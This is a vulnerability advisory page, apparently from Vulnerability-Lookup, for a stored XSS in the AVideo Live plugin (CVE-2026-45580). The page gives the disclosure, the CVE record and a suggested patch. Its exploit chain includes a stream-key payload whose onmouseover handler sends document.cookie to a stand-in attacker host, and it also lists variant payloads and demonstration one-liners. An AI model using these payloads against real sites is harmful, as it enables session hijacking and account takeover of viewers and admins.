Vulnerability-Lookup

GHSA-M5J4-7R85-2CJ2

Vulnerability from github – Published: 2026-05-15 18:33 – Updated: 2026-05-15 18:33

Summary

AVideo: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute

Details

Summary

Type: Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin. File: plugin/Live/view/modeYoutubeLive.php, line 203. Root cause: the template builds a live-status hook by concatenating the database key into a class name: class="title_liveKey_<?php echo $livet['key'] ?>". There is no escaping. The persistence path plugin/Live/saveLive.php:30 accepts $_REQUEST['key'] verbatim into live_transmitions.key (the auto-generation path uses uniqid(), but the manual save path lets the caller override it with anything). The on_publish.php:117 sanitiser strips only & and =, not ", <, or >, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.

Affected Code

File: plugin/Live/view/modeYoutubeLive.php, lines 195-209.

                            <i class="fas fa-lock"></i>
                        <?php
                        } else {
                        ?>
                            <i class="fas fa-video"></i>
                        <?php
                        }
                        ?>
                        <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>  <!-- BUG: $livet['key'] echoed raw into class attribute -->
                        <small class="text-muted">
                            <?php
                            echo $liveInfo['displayTime'];
                            ?>
                        </small>
                    </h1>

$livet['key'] is the raw stream key out of live_transmitions. The persistence path plugin/Live/saveLive.php:30 is $l->setKey($_REQUEST['key']) (no allowlist), and LiveTransmition::setKey() (Objects/LiveTransmition.php:110-112) is a plain assignment. The DB column has no character-class enforcement (it is a varchar). parent::save() uses prepared SQL, so embedded ", <, >, ' are stored verbatim and round-trip back to this template unchanged.

Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENT_QUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.

Exploit Chain

Attacker registers (or already holds) an AVideo account with canStream=1. On installations with advancedCustomUser.newUsersCanStream=1 this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.
Attacker POSTs to https://target/plugin/Live/saveLive.php: key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=" title=t&description=d&password=p saveLive.php:8 confirms User::canStream(), line 30 calls $l->setKey($_REQUEST['key']) and the row is persisted with the literal payload value. State: live_transmitions.key for this user contains the XSS payload.
Victim visits the attacker's live page, e.g. https://target/plugin/Live/?u=<attacker-username>. The page is rendered through index.php -> view/modeYoutubeLive.php. Line 203 executes: html <span class="title_liveKey_" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span> State: a class attribute closed early, an onmouseover event handler attached, a stray x="" consumed, and the final closing " consumed by the next attribute. The HTML parses cleanly.
Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: fetch('//attacker/x?c=' + document.cookie) runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie).
Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (onerror on injected <img>, onload on injected <svg>, or simply > to close the <span> and inject a <script> block) the trigger does not require mouse-over.

Security Impact

Severity: sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability. Attacker capability: with one canStream account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the target origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from live_transmitions. Preconditions: AVideo deployment using the default modeYoutubeLive.php template (the YouTube-style live view, used by all standard skins); attacker has canStream rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page. Differential: source-inspection-verified. The vulnerable template modeYoutubeLive.php:203 produces <span class="title_liveKey_<UNESCAPED_KEY>">…</span>. With the suggested patch (htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') applied), the same input renders as <span class="title_liveKey_" onmouseover="…" x="">…</span>, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:

$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".$livet["key"]."\">test</span>";'
<span class="title_liveKey_" onmouseover="alert(1)" x="">test</span>     # XSS attribute parses
$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".htmlspecialchars($livet["key"],ENT_QUOTES,"UTF-8")."\">test</span>";'
<span class="title_liveKey_&quot; onmouseover=&quot;alert(1)&quot; x=&quot;">test</span>   # one attribute, no handler

Suggested Fix

Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after replace(/[&=]/g, ''), but they should be reviewed in the same patch).

--- a/plugin/Live/view/modeYoutubeLive.php
+++ b/plugin/Live/view/modeYoutubeLive.php
@@ -200,7 +200,7 @@
                         }
                         ?>
-                        <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>
+                        <span class="title_liveKey_<?php echo htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span>
                         <small class="text-muted">
                             <?php
                             echo $liveInfo['displayTime'];

Defence-in-depth: also enforce a character allowlist on live_transmitions.key at write time (the autogenerator emits uniqid() which is hex-only, so ^[A-Za-z0-9_-]{1,64}$ is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "WWBN/AVideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T18:33:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n**Type:** Stored cross-site scripting. The Live plugin\u0027s \"YouTube-style\" view renders the live transmission\u0027s stream key into an HTML class attribute by raw `echo`, without `htmlspecialchars()`. A `canStream` user can persist a key containing `\"` plus an event handler via `plugin/Live/saveLive.php`, and any visitor (logged in or anonymous) opening the stream\u0027s live page executes attacker JavaScript in the platform origin.\n**File:** `plugin/Live/view/modeYoutubeLive.php`, line 203.\n**Root cause:** the template builds a live-status hook by concatenating the database key into a class name: `class=\"title_liveKey_\u003c?php echo $livet[\u0027key\u0027] ?\u003e\"`. There is no escaping. The persistence path `plugin/Live/saveLive.php:30` accepts `$_REQUEST[\u0027key\u0027]` verbatim into `live_transmitions.key` (the auto-generation path uses `uniqid()`, but the manual save path lets the caller override it with anything). The `on_publish.php:117` sanitiser strips only `\u0026` and `=`, not `\"`, `\u003c`, or `\u003e`, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.\n\n## Affected Code\n\n**File:** `plugin/Live/view/modeYoutubeLive.php`, lines 195-209.\n\n```php\n                            \u003ci class=\"fas fa-lock\"\u003e\u003c/i\u003e\n                        \u003c?php\n                        } else {\n                        ?\u003e\n                            \u003ci class=\"fas fa-video\"\u003e\u003c/i\u003e\n                        \u003c?php\n                        }\n                        ?\u003e\n                        \u003cspan class=\"title_liveKey_\u003c?php echo $livet[\u0027key\u0027] ?\u003e\"\u003e\u003c?php echo getSEOTitle($liveTitle); ?\u003e\u003c/span\u003e  \u003c!-- BUG: $livet[\u0027key\u0027] echoed raw into class attribute --\u003e\n                        \u003csmall class=\"text-muted\"\u003e\n                            \u003c?php\n                            echo $liveInfo[\u0027displayTime\u0027];\n                            ?\u003e\n                        \u003c/small\u003e\n                    \u003c/h1\u003e\n```\n\n`$livet[\u0027key\u0027]` is the raw stream key out of `live_transmitions`. The persistence path `plugin/Live/saveLive.php:30` is `$l-\u003esetKey($_REQUEST[\u0027key\u0027])` (no allowlist), and `LiveTransmition::setKey()` (`Objects/LiveTransmition.php:110-112`) is a plain assignment. The DB column has no character-class enforcement (it is a `varchar`). `parent::save()` uses prepared SQL, so embedded `\"`, `\u003c`, `\u003e`, `\u0027` are stored verbatim and round-trip back to this template unchanged.\n\n**Why it\u0027s wrong:** an HTML attribute value must be escaped with `htmlspecialchars(..., ENT_QUOTES, \u0027UTF-8\u0027)` (or routed through a templating engine that does). The current `\u003c?php echo $livet[\u0027key\u0027] ?\u003e` between `class=\"\u2026\"` and `\"` lets the attacker close the attribute with `\"`, append arbitrary attributes (`onclick`, `onmouseover`, `style`, `srcset`, \u2026), or close the tag with `\u003e` and inject a `\u003cscript\u003e` block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla\u0027s secure-coding guide explicitly calls out as the \"raw echo into attribute\" anti-pattern. Other Live templates (`menuRight.php`, `socket.js`) only use `key` inside JS contexts where they pre-strip `[\u0026=]`, but `modeYoutubeLive.php` uses it directly in HTML attribute context where that strip is insufficient.\n\n## Exploit Chain\n\n1. Attacker registers (or already holds) an AVideo account with `canStream=1`. On installations with `advancedCustomUser.newUsersCanStream=1` this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.\n2. Attacker POSTs to `https://target/plugin/Live/saveLive.php`:\n   ```\n   key=\" onmouseover=\"fetch(\u0027//attacker/x?c=\u0027+document.cookie)\" x=\"\n   title=t\u0026description=d\u0026password=p\n   ```\n   `saveLive.php:8` confirms `User::canStream()`, line 30 calls `$l-\u003esetKey($_REQUEST[\u0027key\u0027])` and the row is persisted with the literal payload value. State: `live_transmitions.key` for this user contains the XSS payload.\n3. Victim visits the attacker\u0027s live page, e.g. `https://target/plugin/Live/?u=\u003cattacker-username\u003e`. The page is rendered through `index.php` -\u003e `view/modeYoutubeLive.php`. Line 203 executes:\n   ```html\n   \u003cspan class=\"title_liveKey_\" onmouseover=\"fetch(\u0027//attacker/x?c=\u0027+document.cookie)\" x=\"\"\u003e\u003cspan\u003eSTREAM TITLE\u003c/span\u003e\u003c/span\u003e\n   ```\n   State: a class attribute closed early, an `onmouseover` event handler attached, a stray `x=\"\"` consumed, and the final closing `\"` consumed by the next attribute. The HTML parses cleanly.\n4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: `fetch(\u0027//attacker/x?c=\u0027 + document.cookie)` runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie).\n5. Final state: the attacker\u0027s collector receives the victim\u0027s session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (`onerror` on injected `\u003cimg\u003e`, `onload` on injected `\u003csvg\u003e`, or simply `\u003e` to close the `\u003cspan\u003e` and inject a `\u003cscript\u003e` block) the trigger does not require mouse-over.\n\n## Security Impact\n\n**Severity:** sec-moderate. Stored XSS on the platform\u0027s primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability.\n**Attacker capability:** with one `canStream` account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer\u0027s browser when they open the stream\u0027s live page. The script runs in the `target` origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from `live_transmitions`.\n**Preconditions:** AVideo deployment using the default `modeYoutubeLive.php` template (the YouTube-style live view, used by all standard skins); attacker has `canStream` rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page.\n**Differential:** source-inspection-verified. The vulnerable template `modeYoutubeLive.php:203` produces `\u003cspan class=\"title_liveKey_\u003cUNESCAPED_KEY\u003e\"\u003e\u2026\u003c/span\u003e`. With the suggested patch (`htmlspecialchars($livet[\u0027key\u0027], ENT_QUOTES, \u0027UTF-8\u0027)` applied), the same input renders as `\u003cspan class=\"title_liveKey_\u0026quot; onmouseover=\u0026quot;\u2026\u0026quot; x=\u0026quot;\"\u003e\u2026\u003c/span\u003e`, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:\n\n```sh\n$ php -r \u0027$livet=[\"key\"=\u003e\"\\\" onmouseover=\\\"alert(1)\\\" x=\\\"\"]; echo \"\u003cspan class=\\\"title_liveKey_\".$livet[\"key\"].\"\\\"\u003etest\u003c/span\u003e\";\u0027\n\u003cspan class=\"title_liveKey_\" onmouseover=\"alert(1)\" x=\"\"\u003etest\u003c/span\u003e     # XSS attribute parses\n$ php -r \u0027$livet=[\"key\"=\u003e\"\\\" onmouseover=\\\"alert(1)\\\" x=\\\"\"]; echo \"\u003cspan class=\\\"title_liveKey_\".htmlspecialchars($livet[\"key\"],ENT_QUOTES,\"UTF-8\").\"\\\"\u003etest\u003c/span\u003e\";\u0027\n\u003cspan class=\"title_liveKey_\u0026quot; onmouseover=\u0026quot;alert(1)\u0026quot; x=\u0026quot;\"\u003etest\u003c/span\u003e   # one attribute, no handler\n```\n\n## Suggested Fix\n\nEscape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after `replace(/[\u0026=]/g, \u0027\u0027)`, but they should be reviewed in the same patch).\n\n```diff\n--- a/plugin/Live/view/modeYoutubeLive.php\n+++ b/plugin/Live/view/modeYoutubeLive.php\n@@ -200,7 +200,7 @@\n                         }\n                         ?\u003e\n-                        \u003cspan class=\"title_liveKey_\u003c?php echo $livet[\u0027key\u0027] ?\u003e\"\u003e\u003c?php echo getSEOTitle($liveTitle); ?\u003e\u003c/span\u003e\n+                        \u003cspan class=\"title_liveKey_\u003c?php echo htmlspecialchars($livet[\u0027key\u0027], ENT_QUOTES, \u0027UTF-8\u0027) ?\u003e\"\u003e\u003c?php echo getSEOTitle($liveTitle); ?\u003e\u003c/span\u003e\n                         \u003csmall class=\"text-muted\"\u003e\n                             \u003c?php\n                             echo $liveInfo[\u0027displayTime\u0027];\n```\n\nDefence-in-depth: also enforce a character allowlist on `live_transmitions.key` at write time (the autogenerator emits `uniqid()` which is hex-only, so `^[A-Za-z0-9_-]{1,64}$` is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.",
  "id": "GHSA-m5j4-7r85-2cj2",
  "modified": "2026-05-15T18:33:58Z",
  "published": "2026-05-15T18:33:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m5j4-7r85-2cj2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute"
}

CVE-2026-45580 (GCVE-0-2026-45580)

Vulnerability from cvelistv5 – Published: 2026-05-29 13:14 – Updated: 2026-05-29 13:14

Title

WWBN AVideo Live: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute

Summary

WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a stored cross-site scripting vulnerability. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
WWBN	AVideo	Affected: <= 29.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a stored cross-site scripting vulnerability. The Live plugin\u0027s \"YouTube-style\" view renders the live transmission\u0027s stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing \" plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream\u0027s live page executes attacker JavaScript in the platform origin."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-29T13:14:49.977Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m5j4-7r85-2cj2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m5j4-7r85-2cj2"
        }
      ],
      "source": {
        "advisory": "GHSA-m5j4-7r85-2cj2",
        "discovery": "UNKNOWN"
      },
      "title": "WWBN AVideo Live: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45580",
    "datePublished": "2026-05-29T13:14:49.977Z",
    "dateReserved": "2026-05-12T19:00:14.601Z",
    "dateUpdated": "2026-05-29T13:14:49.977Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-M5J4-7R85-2CJ2

Summary

Affected Code

Exploit Chain

Security Impact

Suggested Fix

CVE-2026-45580 (GCVE-0-2026-45580)

Tags

Sightings

Nomenclature